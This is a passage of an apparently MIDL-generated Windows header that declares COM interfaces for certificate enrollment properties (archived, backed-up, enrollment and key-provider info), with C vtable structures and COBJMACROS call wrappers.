QueryInterface(This,riid,ppvObject) ) \n\n#define ICertPropertyKeyProvInfo_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertPropertyKeyProvInfo_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertPropertyKeyProvInfo_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertPropertyKeyProvInfo_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertPropertyKeyProvInfo_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertPropertyKeyProvInfo_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertPropertyKeyProvInfo_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyKeyProvInfo_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define ICertPropertyKeyProvInfo_get_PropertyId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PropertyId(This,pValue) ) \n\n#define ICertPropertyKeyProvInfo_put_PropertyId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_PropertyId(This,Value) ) \n\n#define ICertPropertyKeyProvInfo_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define ICertPropertyKeyProvInfo_RemoveFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> RemoveFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyKeyProvInfo_SetValueOnCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> SetValueOnCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n\n#define ICertPropertyKeyProvInfo_Initialize(This,pValue)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pValue) ) \n\n#define ICertPropertyKeyProvInfo_get_PrivateKey(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PrivateKey(This,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertPropertyKeyProvInfo_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertPropertyArchived_INTERFACE_DEFINED__\n#define __ICertPropertyArchived_INTERFACE_DEFINED__\n\n/* interface ICertPropertyArchived */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertPropertyArchived;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab337-217d-11da-b2a4-000e7bbb2b09\")\n    ICertPropertyArchived : public ICertProperty\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ VARIANT_BOOL ArchivedValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Archived( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertyArchivedVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertPropertyArchived * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertPropertyArchived * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertPropertyArchived * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertPropertyArchived * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertPropertyArchived * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertPropertyArchived * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertPropertyArchived * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertPropertyArchived * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in ICertPropertyArchived * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PropertyId )( \n            __RPC__in ICertPropertyArchived * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PropertyId )( \n            __RPC__in ICertPropertyArchived * This,\n            /* [in] */ CERTENROLL_PROPERTYID Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in ICertPropertyArchived * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromCertificate )( \n            __RPC__in ICertPropertyArchived * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetValueOnCertificate )( \n            __RPC__in ICertPropertyArchived * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertPropertyArchived * This,\n            /* [in] */ VARIANT_BOOL ArchivedValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Archived )( \n            __RPC__in ICertPropertyArchived * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        END_INTERFACE\n    } ICertPropertyArchivedVtbl;\n\n    interface ICertPropertyArchived\n    {\n        CONST_VTBL struct ICertPropertyArchivedVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertPropertyArchived_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertPropertyArchived_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertPropertyArchived_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertPropertyArchived_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertPropertyArchived_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertPropertyArchived_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertPropertyArchived_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertPropertyArchived_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyArchived_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define ICertPropertyArchived_get_PropertyId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PropertyId(This,pValue) ) \n\n#define ICertPropertyArchived_put_PropertyId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_PropertyId(This,Value) ) \n\n#define ICertPropertyArchived_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define ICertPropertyArchived_RemoveFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> RemoveFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyArchived_SetValueOnCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> SetValueOnCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n\n#define ICertPropertyArchived_Initialize(This,ArchivedValue)\t\\\n    ( (This)->lpVtbl -> Initialize(This,ArchivedValue) ) \n\n#define ICertPropertyArchived_get_Archived(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Archived(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertPropertyArchived_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertPropertyBackedUp_INTERFACE_DEFINED__\n#define __ICertPropertyBackedUp_INTERFACE_DEFINED__\n\n/* interface ICertPropertyBackedUp */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertPropertyBackedUp;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab338-217d-11da-b2a4-000e7bbb2b09\")\n    ICertPropertyBackedUp : public ICertProperty\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeFromCurrentTime( \n            /* [in] */ VARIANT_BOOL BackedUpValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ VARIANT_BOOL BackedUpValue,\n            /* [in] */ DATE Date) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_BackedUpValue( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_BackedUpTime( \n            /* [retval][out] */ __RPC__out DATE *pDate) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertyBackedUpVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertPropertyBackedUp * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertPropertyBackedUp * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertPropertyBackedUp * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PropertyId )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PropertyId )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [in] */ CERTENROLL_PROPERTYID Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromCertificate )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetValueOnCertificate )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCurrentTime )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [in] */ VARIANT_BOOL BackedUpValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [in] */ VARIANT_BOOL BackedUpValue,\n            /* [in] */ DATE Date);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_BackedUpValue )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_BackedUpTime )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [retval][out] */ __RPC__out DATE *pDate);\n        \n        END_INTERFACE\n    } ICertPropertyBackedUpVtbl;\n\n    interface ICertPropertyBackedUp\n    {\n        CONST_VTBL struct ICertPropertyBackedUpVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertPropertyBackedUp_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertPropertyBackedUp_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertPropertyBackedUp_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertPropertyBackedUp_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertPropertyBackedUp_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertPropertyBackedUp_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertPropertyBackedUp_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertPropertyBackedUp_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyBackedUp_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define ICertPropertyBackedUp_get_PropertyId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PropertyId(This,pValue) ) \n\n#define ICertPropertyBackedUp_put_PropertyId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_PropertyId(This,Value) ) \n\n#define ICertPropertyBackedUp_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define ICertPropertyBackedUp_RemoveFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> RemoveFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyBackedUp_SetValueOnCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> SetValueOnCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n\n#define ICertPropertyBackedUp_InitializeFromCurrentTime(This,BackedUpValue)\t\\\n    ( (This)->lpVtbl -> InitializeFromCurrentTime(This,BackedUpValue) ) \n\n#define ICertPropertyBackedUp_Initialize(This,BackedUpValue,Date)\t\\\n    ( (This)->lpVtbl -> Initialize(This,BackedUpValue,Date) ) \n\n#define ICertPropertyBackedUp_get_BackedUpValue(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_BackedUpValue(This,pValue) ) \n\n#define ICertPropertyBackedUp_get_BackedUpTime(This,pDate)\t\\\n    ( (This)->lpVtbl -> get_BackedUpTime(This,pDate) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertPropertyBackedUp_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertPropertyEnrollment_INTERFACE_DEFINED__\n#define __ICertPropertyEnrollment_INTERFACE_DEFINED__\n\n/* interface ICertPropertyEnrollment */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertPropertyEnrollment;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab339-217d-11da-b2a4-000e7bbb2b09\")\n    ICertPropertyEnrollment : public ICertProperty\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ LONG RequestId,\n            /* [in] */ __RPC__in BSTR strCADnsName,\n            /* [in] */ __RPC__in BSTR strCAName,\n            /* [defaultvalue][in] */ __RPC__in BSTR strFriendlyName = 0) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RequestId( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_CADnsName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_CAName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_FriendlyName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertyEnrollmentVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertPropertyEnrollment * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertPropertyEnrollment * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertPropertyEnrollment * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PropertyId )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PropertyId )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [in] */ CERTENROLL_PROPERTYID Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromCertificate )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetValueOnCertificate )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [in] */ LONG RequestId,\n            /* [in] */ __RPC__in BSTR strCADnsName,\n            /* [in] */ __RPC__in BSTR strCAName,\n            /* [defaultvalue][in] */ __RPC__in BSTR strFriendlyName);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RequestId )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CADnsName )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CAName )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_FriendlyName )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } ICertPropertyEnrollmentVtbl;\n\n    interface ICertPropertyEnrollment\n    {\n        CONST_VTBL struct ICertPropertyEnrollmentVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertPropertyEnrollment_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertPropertyEnrollment_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertPropertyEnrollment_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertPropertyEnrollment_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertPropertyEnrollment_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertPropertyEnrollment_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertPropertyEnrollment_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertPropertyEnrollment_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyEnrollment_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define ICertPropertyEnrollment_get_PropertyId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PropertyId(This,pValue) ) \n\n#define ICertPropertyEnrollment_put_PropertyId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_PropertyId(This,Value) ) \n\n#define ICertPropertyEnrollment_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define ICertPropertyEnrollment_RemoveFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> RemoveFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyEnrollment_SetValueOnCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> SetValueOnCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n\n#define ICertPropertyEnrollment_Initialize(This,RequestId,strCADnsName,strCAName,strFriendlyName)\t\\\n    ( (This)->lpVtbl -> Initialize(This,RequestId,strCADnsName,strCAName,strFriendlyName) ) \n\n#define ICertPropertyEnrollment_get_RequestId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_RequestId(This,pValue) ) \n\n#define ICertPropertyEnrollment_get_CADnsName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_CADnsName(This,pValue) ) \n\n#define ICertPropertyEnrollment_get_CAName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_CAName(This,pValue) ) \n\n#define ICertPropertyEnrollment_get_FriendlyName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_FriendlyName(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface 